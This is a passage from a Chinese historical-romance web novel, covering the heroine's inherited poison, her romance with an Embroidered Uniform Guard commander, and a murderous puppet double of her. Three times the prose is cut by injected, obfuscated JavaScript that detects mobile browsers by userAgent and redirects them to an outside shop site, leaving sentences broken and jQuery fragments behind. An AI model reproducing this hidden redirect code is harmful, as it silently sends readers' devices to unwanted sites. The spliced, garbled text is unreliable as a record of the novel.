“这个蛊毒那时已被医老用了药压制下去,又逢此意外,爹在劝说下还是将我留了下来。” 顾衍听着她像是在讲述旁人的故事一般云淡风轻,不由又将她抱紧了些。 他确没查沧州傅氏,在翻看傅氏灭门案时才多留意了几分傅长安。 傅长安是沧州傅氏最年轻的家主,也是沧州傅氏的掌家人。未曾想沧州傅氏前身竟是风雨楼分支。 风雨楼,一个多久远的名字啊。江湖之中总多侠义话本,话本里写满江湖豪杰,风雨楼更是其中翘楚。 它为正道,利百姓,诛恶人。 霍青青低下头轻轻抵上顾衍的额头。 “我身上的毒,便是娘胎里带出来的。” 54.枕春风 霍青青看着顾衍欲言又止的模样笑道:“顾大人想说什么?” 顾衍斟酌着蹭过她的鼻尖,低声道:“疼吗?” 他家霍姑娘总不喊疼,他拿不准霍姑娘难不难受。 “顾大人倒也不用担心,娘身上的毒早已被压制。”霍青青说着,安抚地吻在他眼角:“这蛊毒到我身上已没剩下多少。当年说着是需要化煞,实则是蛊毒被引复发需要静养。” “娘总觉得亏欠我,就想方设法想彻底清除我身上的毒。”霍青青说至此处,神情复杂,她的手落在顾衍肩上,攥住他肩头的衣物,似是挣扎着,许久才接着道:“我娘……冒了很大风险,动用了禁术,才将我身上的余毒慢慢拔除了八分。” “我常常想……若是我就挨着这毒过一辈子也好过我娘冒险施行禁术为我祛毒。” 她说着,低下头,轻浅的吻落在顾衍面上各处,她低笑着道:“余毒未除,我亦不知还能活多久。今岁余毒加重,医老同样束手无策。他早已看过了。” “顾衍。” 霍青青唤他名姓,她的声音飘散在这冰冷的诏狱里,不甚明亮的火光间,她又唤了一句:“顾衍。” 顾衍久久未答,她的一只手攀上顾衍的脖颈,看着顾衍落了一点火光的星目抬手触在他眼下:“顾衍,你知道吗?我从九岁到了南方后,就没有乖乖地呆在庄子里。我去过黄沙漫卷的边关,看过青州楼台,可是你知道吗?我还是最喜欢京都。” “顾衍,我做了好多事,我还想做好多事。可是……” 顾衍的吻是炽烈的,灼人又让人眷恋。 从第一次的生涩到如今让人沉沦,也只过了那么几次。他学东西太快,快到她措手不及。 他停留在她的唇齿间,垂下眼定定地看着她:“那就去做。” “想做那就去做。”他看着霍青青又重复了一遍。 “我陪着你。”他叹息着将他的霍姑娘抱紧。 他总说霍姑娘大胆,可从来不知霍姑娘为何如此大胆。 诏狱里极静,他听着霍姑娘低声浅吟才又将她放开。 “我说跟顾大人试试时,其实是抱着牡丹花下死的心思。”霍青青窝在他怀里,捻着自己一缕发,然后将发丝绕成圈在自己指尖打了个转:“能快活一日就快活一日嘛,随心走走,没什么不好的。” “所以,霍姑娘开始是想着始乱终弃?”顾衍挑眉,握住她的指尖。 霍青青只是笑笑,叹道:“不,一开始我想将你跟阿浔拉一拉,但是你不乐意。” 顾衍笑起来:“好在当初便先断了你这心思。” “其实我同样不知道,我与顾大人能走多远。顾大人害怕的时候,我也害怕。” “顾大人啊,人生在世,能得几回?” 玉镯碰撞的声音响起,霍青青翻起身来,将顾衍压在身下。 她伸手挑起顾衍的下巴,垂首在他唇上乱吻一气,然后咬在他唇角。 顾衍扶住她的腰,无奈道:“霍姑娘,别折腾我好不好?” 霍青青闻言果真不动他了,伏下来趴在他胸口支起手撑着头:“好啊,顾大人。” “我问问霍姑娘,霍姑娘想何时出去?”顾衍的手停在她后腰,指尖轻点着看着在自己身上耀武扬威的霍姑娘。 “我也不知。” “诏狱呆久了终究不好。”顾衍的手有一搭没一搭地轻拍着霍姑娘的背,后面顺手取了一旁的披风给霍姑娘搭上:“下次做这事跟我打个商量。” “知道了,顾大人。”霍青青觉得困倦,今岁余毒加重连带着那日里得下的癔症也频繁起来。只是困倦倒还好,只是癔症发作,她便不记得癔症时自己做了些什么。 “顾大人,我若是真的活不了多久了,你怎么办?”霍青青抬手将他落下来的一缕发挑起别到耳后:“嗯……顾大人要记得不要再跟我爹他们吵了,他们年纪大了,身体不如从前。” “还有,将离和我哥,若是他们要做点什么出格的事帮我拦住。再帮我照看一下十三楼。十三楼只有兰浔,就太累了。我可以出钱雇顾大人帮我看看场子。” “顾大人意下如何?” “霍青青,你说什么混账话?”顾衍差点一口气没上来,靠近霍青青咬牙切齿道:“霍姑娘,你最好说你能长命百岁。” “不然我改天就去给你家那三个使绊子,再去圣上面前状告你始乱终弃。” 霍青青在他怀里笑成一团,笑得眼角都泛出泪花才用手帕擦去应道:“那我还是再努力活活。” “我想起来了。”顾衍忽然开口。 霍青青不明所以。 接着就听顾衍一本正经道:“霍姑娘如今算算,欠我一万三千三百三十二两白银,得还。” “顾大人要不说我还真忘了。等出去我给你或是你拿着我印信自己去钱庄支”霍青青这才想起此前他们还立了字据。 顾衍按住她:“不急,霍姑娘每日还我一文钱,攒攒就好了。” 霍青青一愣,待她反应过来看着顾衍眼中带笑看她的模样,觉得顾大人真是让人喜欢。 “我不怕霍姑娘一直欠着。”顾衍说着哂笑一声又将霍青青带倒在已铺上一层被褥的厚实干草上:“霍姑娘欠着吧,如此,我安心些。” “我也无所谓什么时日长短,后面时日还长着,霍姑娘都不怕那我也不怕。”顾衍侧过身来抱着霍青青,在她耳畔道:“之前你问我,三个月能谈什么情爱。那我就告诉你。” “我知道两个喜欢的区别,也很明白我想要什么。我说试试,你同意。那你如今便不要怕那些有的没的。我们接着走下去。” “时日还很长,我不敢妄言如今有多深情,但我知道我那份感情在日渐增多。我也说我不知道怎么才是对姑娘好,我只知道你不喜欢我便改,你若是害怕就同我说。我知道你的顾虑,但我本也无心朝堂。若威胁不到我性命,那便与我无关。” “两年前贺乾案,并非我不信你。而是我每次一提起,便觉得亏欠义父许多。他已死两年,我每每一提起便想起许多在贺府的往事。那些往事……让我不安。” “霍姑娘,这下可放心了?” 顾衍小心地将下巴抵在霍青青肩头,等着她回应。 霍青青抬手轻轻勾住他的后颈:“顾衍,我别的都不怕,但我怕你将自己关起来。” 顾衍的脸蹭过她耳畔,低笑道:“这不是有霍姑娘了吗?” “霍姑娘呢?有没有每日都多分给顾大人一点时间?” “好啊,我努努力,在百忙之中抽出一点赚钱的时间来陪着顾大人。试试能不能每日多想想顾大人。” 顾衍这下心满意足,才微微将她放开些:“霍姑娘,是不是又困了?” “嗯,有些。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13291989|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾衍抬手给她拢拢披风,捂严实了才道:“睡罢。你若是想动手了就告诉我。” “知道了,顾大人,你且先去做你的事。”霍青青换了个舒服的姿势,困得又连打两个哈欠,随后便睡过去。 “睡罢。”顾衍的声音极稳,听得人安心得很。 等霍青青睡沉睡久一些,顾衍才起身。 “顾二顾三,守好。霍姑娘若要找我,速报。” “是。” 待顾衍走后,顾二瞧着顾三问道:“你方才在跟霍姑娘说什么?你是怀疑霍姑娘是淮月将军?” 顾三转过头去看了一眼正在熟睡的霍青青缓缓点头:“是。我不会忘记救我一命的恩人,只是那时年岁不大。” 顾二一时之间也不知说什么了,顾三确曾与他走散,也曾走过边关。 只是……霍姑娘不是曾养在南方庄子上吗?又何曾去过边关?纵然去了,这身子骨恐怕也不会是那跟着雁将离抵御南羌的淮月将军啊。 那淮月将军是何人? 那些话本里,她曾跟着雁将离千里奔袭收复失地,击退南羌数次。 千里奔袭啊,莫说女子难做到,就是男子也少有。雁将离确是大煜将星,他一朝在白沙关,南羌就一日踏不进大煜。 顾三若有所思,可霍青青也说她看过白沙关外。 顾二拍拍他的肩:“霍姑娘说得不错,这世上相似的人多了去了,别想这么多,做好顾大人交代的事,其他的与我们无关。” …… 霍青青于黑暗之中睁开眼,她唤来顾三:“什么时辰了?” 顾三恭敬答道:“已是申时。” “怎么只有你一人?”霍青青站起身,腰间的佩环叮当作响。 “顾二去取姑娘晚间的吃食了。” “这般啊……”霍青青下意识转动着腕间的玉镯,听着玉石碰撞的声响心绪稍安。 “霍姑娘,你果真不是淮月将军?”顾三细细端详着她,只觉她同印象里的淮月将军重叠在一起。 霍青青闻言笑叹一句:“我这般弱的身子骨,哪里赶得上淮月将军?顾三,你说呢?” “可若不是,雁将军为何肯安心守关。”顾三抿唇,握着刀柄的手越发紧:“霍姑娘以为,救命之恩该如何偿?” “顾三啊。”霍青青笑道:“救命之恩自该找对对的人,你若是要报恩,自当前往锋锐骑找淮月将军。” “将离守关是为我不错,但也并非只为我。他守的亦是他心里那道关。”霍青青垂下眼睫:“他不会让南羌铁骑踏破白沙关,欺我大煜。” 顾三行了一礼:“霍姑娘说得对,我许是该去白沙关报淮月将军救命之恩了。只是如今已过去数载,也不知她还记不记得我。” “或许在你看来的救命之恩,是她顺手而为呢?”霍青青看着顾三缓缓道:“你为大煜百姓,看到了便自会救你。将领所求,无非是百姓安宁边关安定。” “若是想报恩,去看看也无妨。” “顾三受教,多谢霍姑娘。”顾三背过身去:“姑娘再稍等片刻,待顾二回来便可吃了。” “辛苦了。” 霍青青百无聊赖地坐回去,顾三就抱着刀守在门口。 诏狱里哪怕冲洗得再干净,都有血腥味儿,这是她熟悉又陌生的味道。 有一刻,她恍惚觉得,她非她。 55.听更声 好京都十月天,已微寒。 有人匆匆行过街道,赶在天色尽黑之前回家。大煜虽没有宵禁,但夜里行人也甚少。自那日暮时分,街上的摊子就陆续收了,行至西街口,有人见一老妪,她揣着手,前面的摊子摆着几副精巧的面具。 一锦衣公子带着小厮闲逛着,那公子瞧着面具逼真似真人面,便收了折扇点了那么一副美人面:“这副面具几钱?” 等那老妪抬起头来,公子却见原来并非老妪,而是个披着布衣的清秀佳人,便登时来了兴趣。 他折扇一展,笑道:“这位姑娘怎的一个人在外,这天寒地冻的,早些归家才好。” 佳人开口道:“家里奶奶说不卖完这些面具就不让奴家回去。” 她声音如清泉流响,伸出手指着摊上几副人面,腕间两个玉镯叮当作响。一双桃花眼潋滟,带着八分风情,戚戚看着公子。 “这不简单?本公子都要了,价钱几何啊?”公子伸手握在佳人手腕上,见佳人内着青裙,神色间更带出几分贪婪欲望。 “恐怕公子买不起呀。” 公子只觉眼前一花,佳人的脸变得狰狞起来,纵横交错的疤痕可怖地随着她的笑扭曲蠕动。 小厮早被吓傻了,两股战战站在一旁。 直到一柄刀从公子下腹刺进去,贯穿了背后,那小厮才惊叫道:“杀、杀人了——” 公子大睁着眼看着下腹的刀,惊恐地看着那刀子从自己身体里抽出来,随后剖开肚腹。 自他的身体里飞出许多血色的蝶。 血色的蝶,在微弱的月光下上下翩飞,悉数落到公子的尸体上蚕食血肉。它们长长的喙扎进公子的身体里,吸食着新鲜的血液。 等到它们吃饱喝足后,那副身体也只剩下累累白骨和一个双目凸出的头颅。 “我奉赋生神,赋生神怜我……” 少女哼着歌,将刀抛在锦衣公子的尸首旁边,优哉游哉地走了。 “一日问新生,三日叩神明。 七日长生药,十日不老仙。 我问啊,我叩啊。 问神啊,叩长生。” “哼哼叩长生……” 她的声音回荡在空寂的街道上,夹杂着夜风哭嚎,像是自地下飘出来。 街边的灯笼上溅了血,她一袭青裙掠过街口掠过远处酒家,最后消失不见。 顺天府的鼓被人击响,急促的鼓声敲击得人睡不安稳。 待忽地点燃数盏灯火,顺天府这方人声鼎沸起来。顺天府尹穿着官服匆匆赶来,他当堂一站:“何人击鼓?” “大人啊,可要为我儿做主啊!” 那击鼓之人跪于堂下,抬起头来才看到模样。 顺天府尹一惊,竟是当朝吏部郎中。 “所为何事?细细道来。” 只见吏部郎中抱起身侧的木盒,打开来里面正是他儿子的头颅。他呈于堂上,哭喊道:“我儿啊,死于妖人之手啊。” 一旁白布掀开,已然是一副还带着零星血肉的白骨。 仵作简单看了一番便断定死于一个多时辰前。 小厮被人带上堂时还惊魂未定,他叫着妖人妖妇,吓得瑟瑟发抖。嘴里还念叨着什么人皮面具。 顺天府尹让师爷一一记下。 这小厮神志已然是不清楚了,他说话哪里还做得了证? 可朝廷五品官员,吏部郎中的儿子在天子脚下惨死,此事便不能草草了事。 顺天府尹沉吟片刻,命人去各处街口搜寻。 果不其然,在半个时辰后便有人在西街口寻到了几副人皮面具呈于堂上。 那小厮被带上来,一眼便看到其中一张人皮面具,登时吓得又惊叫起来。 顺天府尹抬手,便有人将小厮的嘴堵了拉下去。 他挑起那一副人皮面具,端详许久,蓦地想起前些日子闹得满城风雨的霍家小姐。 霍家小姐的画像那时被传得满城风雨,他也见过的。如今这人皮面具,竟又跟霍家小姐有关系。 此事……已不是他能随便决断的了。 他草草安抚了吏部郎中说明日定会呈至大理寺一同审理,便转身回府。 他要先去给霍承阳那边提个醒,否则明日朝堂之上恐怕他们会被打个措手不及。霍家的人,又怎会跟那伤天害理的长生教扯上关系?更何况霍小姐早已背关在诏狱。 只是不知……为何长生教一直缠着霍家不放。 难不成是得了宋世荣的指使? 思及此,顺天府尹打了个冷颤,下意识回头望去,却见一个穿着青裙的女子正在数十步开外看着他。 这不是霍家小姐又是谁? 只见霍家小姐站在那处,抬起手。 有一只血色的蝴蝶自她的手心里飞出来,朝着他飞过来。 顺天府尹急忙拍打着马夫的肩膀:“走!快点回府!” “去霍府?”马夫问了他一个莫名其妙的问题。 顺天府尹看着马夫转过头来朝他咧开嘴,“咔嚓”一声,折断了自己的颈骨。 蝴蝶!又是血色的蝴蝶! 它们成团飞过来。 顺天府尹跳下车不要命一样朝霍府那方跑。 快点!再快一点! 他恨不得多长两条腿。 好在顺天府离霍府算不得多远。 不多时,他便看到霍府门前通明的灯笼。他加快步伐,终于跑到霍府门前,然后摔倒在地。 “蝴蝶!长生教的蝴蝶!”他大口喘着气,扯住门房的手:“快去!快去叫霍大人!” 说罢,他便晕了过去。 门房急忙扶住他,只觉背后一凉,便见着自家小姐拿了一把长刀朝自己挥来。 眼见那把刀落下来,门房只来得及就地躲开。 “哐当”一声。 长刀落在霍府的门槛上。 这一声惊起夜色,霍府顿时嘈杂起来。 她提刀再砍,却被一人拦住。 来人黑衣翻飞,抽刀斩断她刀刃。 “何人装神弄鬼。”霍十一淡漠地看着眼前一袭青裙的人,眼中冷然。 那人一见是他,便抽身而退。 霍十一飞身而去紧追不舍。 …… 诏狱之中。 霍青青刚醒不久,摸着她身侧的顾衍将他叫醒。 “顾衍,几更了?” “唔?”顾衍抬手按在她腰间,唤来顾二一问。 顾二应道:“将至三更了。” “顾衍,我们出去。” “好。”顾衍利落地爬起来。 待顾二将门打开,霍青青披上一件黑色外袍,随顾衍一同出去。 二人行至小巷时,正听巡夜人三声梆子响。 霍青青看了顾衍一眼,拉住他的手:“跟我走。” 她自怀里摸出一个竹筒,甫一打开,就见着几只青色的蝶自里面飞出来。它们在原地打了几个转,便朝着一处飞去。 霍青青跟顾衍跃上屋脊,循着青蝶一路追踪。 “它们叫寻青蝶,是师父养的。十一放出青蝶香它们便能找着。” 顾衍看着前面的霍姑娘,目光慢慢落在她的手上。 霍姑娘的手纤细白皙,偏生又拿得动破甲锥。这是他从未见过的。 他们一路寻至城门之下。 路上,霍青青看到暗色的血迹,心下一颤,便加快了步伐。 “十一!”待寻到他时,霍青青短匕出手,将一枚镖打落。 她一把抓住霍十一的手臂将他拉开,挡下数枚暗器。 “是属下大意了。”霍十一微垂着头,按住自己的伤口。 “你歇着。”霍青青自袖中摸出一个白玉瓶递给他:“吃一丸。” 说罢便去助顾衍。 顾衍一袭玄色绣金银飞鱼服跟那青裙女子缠斗起来。 他眼眸微眯,绣春刀快如闪电,留下道道残影。霍青青从旁相助,二人配合默契,很快便将那女子逼得节节败退。 顾衍反手劈落女子手中的长刀,毫不怜惜地两刀刺透她双肩肩胛。 他将她打落屋脊后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305583|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跳下来,同霍青青站在一起。 他微微侧头道:“离天亮还有两个多时辰,她不能死。” “嗯。”霍青青点点头,觉得有些累,手中的匕首滑落在地,她慢慢蹲下身去捡起来。 “顾衍,我有些累。”霍青青转身抱住顾衍。 “若是困了,便睡。我看着。”顾衍抱住她,招了宋无忧同霍十一一起将人捆起来。 他一手环抱过霍青青的肩,一手绕过她腿弯将人抱在怀里。 这人竟跟霍姑娘十成十的相似,也难怪人人都说死者死之前都见过霍姑娘。 若非要留她一条命给霍姑娘证清白…… 顾衍将人抱紧。 霍青青攥住他的衣襟,微撑起身子慢慢勾住他的脖颈,在他耳边小声笑道:“顾大人怎么这么好啊。” “顾大人不好,不能给霍姑娘多大帮扶。”顾衍笑着道。 最后还是得霍姑娘自己出手抓人证清白。 霍青青也不知怎的,不经意间看到那人带着怨恨的眼睛直直看着她。像是忽然陷进泥沼里。 她额上沁出冷汗,将顾衍抱得越发紧。 “顾衍。” “嗯。” “顾衍。” “我在。” “顾衍。” “我在。” 她句句喊着顾衍,顾衍声音颤着应她。 “怎么了?霍姑娘?” 还未到诏狱,顾衍便转了个方向抱着人往霍府赶。 这样下去不行,霍姑娘似是……魇症又发作了。她许是痛得很,在他怀里一声声叫着顾衍。 “青青,我在。没事的。”顾衍在夜里疾行,又怕夜风太冷,行时将风挡去大半。 “顾衍。”霍青青被夜风吹得久了,慢慢竟清醒一点。她唇角勾起一个笑,带起颊边的梨涡。 她说:“顾衍,好疼啊。” 这次魇症发作起来,比寻常痛了太多。五脏六腑都像是被人攥在手里,让她喘不过气。 “我先送你回府,他们有办法的对不对?”顾衍的手颤了颤,觉得霍姑娘身子越发冷了。 “顾衍。”霍青青又唤了他一句。 她抬起头,只看到顾衍好看分明的下颌,她慢慢勾住顾衍的脖颈,很轻地在他颈侧留下一个轻浅滚烫的吻。 “青青。没事的。”顾衍说着话,脚下一刻不停。 “很快,很快就到了。” “没事的。没事的。” 他一直同霍青青说着话,不知是说给霍青青听还是说给他自己听。他听着霍青青在他怀里说:“好像要食言了。” 他越发害怕了。 直到看到霍府的大门,他猛然冲进院中。 “霍承阳!”他大喝道。 他正欲再喊,却见一人怀抱八卦幡自房中走了出来。 灵玄子看着他怀里的霍青青,神色微沉,让顾衍将人先置于房中木榻上,快速施针扎了几处大穴。 “剩下的,要等杏林过来。” 灵玄子让出位置,示意顾衍过来。 顾衍在榻边坐下,一时无措。 “顾指挥使。”灵玄子站着,垂目看他:“青丫头这魇症,要除根不易。她的命数,我算不到。若是今日生明日死,你当如何?” “我当如何?”顾衍哂笑一声,抬手轻轻覆在霍青青手背:“我能如何?” 灵玄子看着他,没有多说,青丫头命中大劫已至,只看青丫头想如何化解了。 如今的顾衍,像极了那时候的雁将离,又不像雁将离。 都是可怜人啊…… 好不容易在死水里抓住那一根浮木,怕抱不住,怕浮木化流光散去。 其余人被灵玄子拦在门外,灵玄子摇摇头:“都吩咐下去,别让人惊扰他们了,让青丫头好好睡上些时日吧。” “祸福相依啊……” 灵玄子抱着幡,唱了几句才慢慢走出霍府大门。 霍承阳明白过来。 原来灵玄子前几日到府上便是在等着青青今日这一劫。 56.呈金簪 第二日晨间,霍府安静得很。 锦屏端着一盆热水匆匆行过,随后顾衍便自霍青青屋中出来。 一直到傍晚时,杏林医老才匆匆赶到。 “今岁……”杏林医老叹了口气:“青丫头体内的余毒,今岁愈发凶猛。当年长安体内的毒是以这方子压制的。青丫头的毒比之长安更轻,不应当加重才对。” “那为何?”顾衍将疾风骤雨微微挡开。 杏林医老看着顾衍,缓缓道:“应当是跟今岁癔症频发有关。恐怕要下一剂猛药。” “青青的癔症……到底从何而来?”顾衍的手覆在霍青青的手背上,只觉入手微热。 “雁将离。”杏林医老提笔间写下一副方子递予锦屏:“照着这上面抓,夜间熬一副先喂。” 等锦屏接了方子出去,杏林医老才接着道:“青青在陪雁将离守关时,雁将离曾因为她受了重伤。雁将离的手就是那时候废的。后来是接上了,但再也恢复不到从前,时日一长,便成了心结。这是其一。” “其二……”医老正说着,却见霍青青微微动了。 “说回雁将离,青丫头觉得亏欠他太多,便在边关陪他许久。雁将离才有了如今的成就。” “至于其二,我也不甚清楚。”医老行了一次针:“我只知,应当与长安有关。” 顾衍收紧手,敛下眼中神色。 杏林医老口中的长安应当是霍青青的娘傅长安。 “我娘……冒了很大风险,动用了禁术,才将我身上的余毒慢慢拔除了八分。” 青青那时说的禁术又是什么? 顾衍垂下眼睫,看着霍青青白皙的手背上泛起一点微红。她腕间的两个玉镯并排着斜斜靠在一起。 往日霍姑娘最爱拨弄这两个玉镯子,发出点玉石碰撞声,她似是很喜欢这声音。 “等今夜过去便好了。”医老的话将顾衍思绪拉回:“今夜她难捱些,还要多照看着点。我下了重一些的安神药,应当会睡至明日夜间了。” “夜里也不要离人,若是发起热来,就让人来找我。” 顾衍点点头。 今日一早,他便把自己的印信给了霍承阳,让他能进出诏狱。如今应当快回来了,也不知如何跟圣上和百姓交代的。 思索了许久,顾衍才恍惚着回过神来。 姑娘家的闺房他是第一次进,霍姑娘的闺房布置得大方得很。方才锦屏来房中点了药香,缭缭绕绕的模糊了人眼,他如今看不太真切了。 他早知霍姑娘喜欢看书,屋子里便放了单独的书房,立着好几个。还摆了一个乌木博古架,上面放着许多物件,想来也都是霍姑娘精挑细选的,看着别致又精巧。 眼下烟青色的纱帐未放下来,他坐在床边一时有些无措起来。 屋里灯火通明,暖黄晃动的火光里他看着霍姑娘苍白的脸,不禁伸出手去落在霍姑娘脸侧,小心翼翼地触碰一下。随后便极快地将手收回来。 又来了。 在青州时的害怕又涌上来,从最初的一点慢慢扩散,最后占满心底每一个角落。在这药香缭绕的屋子里,哪怕是一点情绪都在无限放大。 害怕吗? 他在问自己怕什么。 他握住霍姑娘的手,轻轻将脸靠上去。 克制的吻落在她手心里,他的唇齿慢慢游移着,又落在她手腕间。 他不知说什么,只是安静地落下那些轻浅的吻,如蝶一般,轻飘飘地落下又飞走。 “霍姑娘,我害怕。” 他靠下来,觉得难捱。 直到有人敲响房门,他才坐起身。 霍承阳站在门口,看着顾衍半步不离压低了声音道:“顾衍,书房说话。” 顾衍点点头,给霍姑娘掖了被角,又唤来锦屏,才跟在霍承阳身后。 锦屏来时见霍青青并无大碍才松了一口气。 她稍微理了理霍青青的衣物,竟见枕边放着一根金簪。金簪做工算不得上乘,但胜在有心。 想来是顾指挥使送自家姑娘的,只是姑娘还未醒,那便等着顾指挥使再回来才是。 …… 书房内。 霍承阳将印信还给顾衍,负手道:“你可知,你与青青抓的是何人?” 顾衍握住自己印信,缓缓抬眼:“长生教神使。” “不,非他本人。”霍承阳自书架上抽出一本古籍略翻几页递予顾衍:“你可知,数年前,有一教派成为傀。此教精通于傀儡之术,可做出相似之人。只是要做出相似之人须得常年取本尊的血做引,再辅以傀儡禁术才能养出一个从模样到身形都一模一样的傀儡。” “此教因常用活人做傀儡,伤天害理。于十余年前被江湖正道剿灭。傀儡术便是那时销声匿迹。当日剿灭之时,此教古籍尽数焚毁。” 顾衍沉吟道:“可我同青青在青州时,长生教陨长老便是傀儡甲臂,是否与此有关?” 霍承阳闻言冷哼一声:“你没猜错,傀儡甲臂便是这傀儡术之一。以铁木做甲,刀枪不入。” “可青青九岁送往南方庄子养着,如今十八岁才归京,又怎会有人取她血做引?” 顾衍的手攥紧,尽力让自己冷静下来。 霍承阳见他如此,叹息道:“青青带着长安身体里的余毒,长安为了拔除此毒费了不少心力。她做下了一个伤天害理的决定。那便是……动用傀教禁术,养出一个和青青一模一样的药人。” “可那个药人,早就死了。”霍承阳背过身去负手而立:“你们昨日里抓到的便是一个傀儡。她今日在堂上忽然暴起,撞柱而亡。” “顾衍,青青是想偿她母亲的债,因为她母亲动用禁术,才又将傀教禁术挖出来。被有心之人留意,最后连累了风家、傅家。当年青青是撞煞不错,也确是往南方庄子休养。但好了之后便前往各处行商行侠,我都知道。但我不愿去阻止她。” “她受伤,我知道。”霍承阳说着声音颤抖起来:“她初入江湖时,身边只有十一。她为了救沧州百姓,带着十一前往黑云寨救下数十百姓,也是那一次,受重伤。那时,我的人晚到了一步。” “她什么都不愿说,也不喊痛。” 霍承阳猛然走到窗边,推开窗急促地呼吸。 “顾衍。我不是一个好父亲。” “青青这孩子性子倔,自小也有主意。她不想我管她,那我便把她放了。我同样不想折断她的羽翼,我想她活得自由自在,带着长安那一份一起活下去。” 霍承阳的手抓着窗沿,抓得手背的青筋鼓起。 “可是她身上的余毒,你也看到,连医老都束手无策。我霍承阳只有她这一个女儿,可是我能怎么办?我与我父亲只能将最好的都给她。清风也是如此,他是我看着长大的,是风家庄唯一剩下的血脉,是长安拿命救回来的。长安知道,风家庄覆灭虽不全在她,但她始终迈不过心里那道坎。而傅氏……” “被有心之人连带着风家的仇敌合围。谁又对不起谁?” “清风觉得自己的到来害了傅氏,长安觉得是自己连累了风家。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327649|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “青青有能耐,在江湖之中风生水起,建立十三楼,她把前尘往事都查了个遍。她担着很多事,把很多东西都埋在心里。” 霍承阳似是慢慢平复下来,他转过身来,紧紧盯着顾衍。 “顾衍,你好好待她。” 大理寺卿霍承阳,于朝堂之上公正敢言,向来喜怒不形于色。 可此时,他只是一个父亲。 顾衍看着他,想起青青曾在那马车里骄傲地同他说她爹坐镇大理寺破冤案无数,为冤者申冤。 “顾衍。她不想让我愧疚,她总说爷爷和爹都好。” “可是我一点都不好。她出生前,我还想过不要她。我那时想着,长安体内蛊毒除不净,这个孩子生下来必然会带着余毒。因为她身体里,流淌的是长安的血。” 近冬日的夜里,风很凉。一阵阵吹进来,吹得人身心发寒。 顾衍垂下眼看着自己手中被印信硌出的痕迹:“不。你只是不愿看到自己的孩子被病痛所累。” 霍承阳一愣,却见顾衍抬起头来。 “青青她跟我说,她也自当为民请命。” 顾衍看着他笑笑:“霍大人,我知我顾衍在你们眼里是忘恩负义顾狗贼。但好歹看事看人是对的。” “你说青青是为偿债,实则她本心也是如此。她心有大爱,有那大无畏。她向来无畏无惧,有时连我都要叹一句她这般女子。” “实则是家风如此。你说傅夫人有愧,但傅夫人同样是被人所害。人人都自私,你又怎知那个药人是不是心甘情愿呢?” 霍承阳这才想起。 曾经那个药人,被长安捡回来时已是明事理的年纪了。长安予了她名姓霍无双,也从未苛待过她,放她与青青同吃同住,那时,两个小孩子日日都笑闹在一处。 只有试药时,霍无双才会稍痛一些,青青便会担忧地守在一旁。 霍无双那孩子,自己痛得冷汗都出来了,还伸出手安慰青青说自己不痛。他最记得,那孩子说青青能不痛就好了,她痛一点没什么。 “她叫霍无双。”霍承阳轻声道:“是长安给她取的名字。她知晓用了禁术后无双会慢慢变得同青青一模一样,便给她取名无双。” “天下无双,她是独一无二的。” 顾衍笑道:“霍家家风如此,才会养出这般好的青青。” 霍承阳看着眼前不过二十二岁的青年。 锦衣卫指挥使顾衍,弱冠之年便坐上指挥使之位,杀伐果决心思缜密。只是残杀恩师,是为不忠不义。遂朝堂之中,人人骂他忘恩负义顾狗贼。 而今朝堂动荡,明顺帝怕他起了不该起的心思同宋世荣同流合污,才会让青青同他一行试探于他。 今日一见,他却能肯定。 此人并非忘恩负义之辈。 青青以身涉险被人掳走且瞒他,顾衍便亲自带人勘察青州山脉去救青青。 情意几何,明眼人都能看到。 罢了…… 霍承阳心中叹了一口气,只缓缓又道了句:“顾衍,你好生待青青。” 只是他心思又一转想到什么,苦笑道:“青青身上的毒,如今已然加重,生死无定数。顾衍,你若是怕,明日起便别再来了。” 良久,书房里的灯火被夜风吹得剧烈晃动。 灯火明灭间,霍承阳看到这个朝堂之上杀伐果决的指挥使缓缓起身。 他站在那里,脸上笑意消尽眼中尽是认真。 “我顾衍什么都不怕。只要她愿意,我便无畏。” 57.休沐日 “罢了。” 霍承阳负手而立,望向窗外。 顾衍拱手一礼:“若霍大人无事了,我便先回去陪着青青。医老说,她今夜里,恐怕难捱。” “去吧。” 霍承阳没看他。 每每这样的秋夜,就容易让人想起从前。 那时他还不是大理寺卿,仗着霍家荫庇,便觉着自己松懈些没什么。 人人都说霍家家风好,霍太傅持身中正,一身不屈风骨为当世文人所向。只是霍家门庭冷清,他是独子。 直至十六岁游历时途经沧州,甫一入沧州,便遇山匪劫道。他略施小计一人换下数人性命。 那时沧州府衙里无甚么能用的人,京都来的高门公子被抓自是火急火燎找人前去搭救。 奈何山匪凶猛,纵然广发英雄帖,开出百两银钱也无人敢往。 